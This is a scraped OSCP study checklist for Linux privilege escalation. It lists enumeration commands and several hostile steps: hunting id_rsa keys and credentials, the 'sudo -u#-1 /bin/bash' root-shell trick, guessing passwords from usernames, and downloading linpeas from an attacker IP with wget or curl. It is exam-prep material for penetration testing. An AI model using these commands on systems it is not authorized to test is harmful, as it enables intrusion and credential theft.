Checklist

Notes from oscp.adot8.com — linux privilege escalation.

#linux privilege escalation#adot8

code

01id

code

01find / -group <groups> 2>/dev/null

code

01history

code

01sudo -l

code

01sudo -V | grep version

code

01find / -name id_rsa 2>/dev/null

{% hint style="info" %} Research any binary with a SUID bit that looks out of place

DirtyPipe can be used to abuse custom SUID binaries

code

01ls -la /etc/passwd /etc/shadow

code

01cat /etc/crontab
02crontab -l

code

01getcap -r / 2>/dev/null
02/usr/sbin/getcap -r / 2>/dev/null

code

01cat /etc/exports

code

01ls -la /var/backups

code

01sudo -u#-1 /bin/bash

<pre><code>ss -anp routel cat /etc/iptables/rules.v4 </code></pre>

code

01dpkg -l

code

01cat .bashrc

{% hint style="info" %} Snoop on processes using pspy - some cron jobs may be running in the background

Research and enumerate literally every cron job running {% endhint %}

{% hint style="info" %} su into other users using their usernames as passwords; vagrant:vagrant {% endhint %}

Search for credentials in files

Run PEAS and LinEnum

code

01wget 192.168.45.x/linpeas.sh 
02curl 192.168.45.x/linpeas.sh -o linpeas.sh
03chmod +x linpeas.sh

{% hint style="danger" %} Search for exploits for sudo version {% endhint %}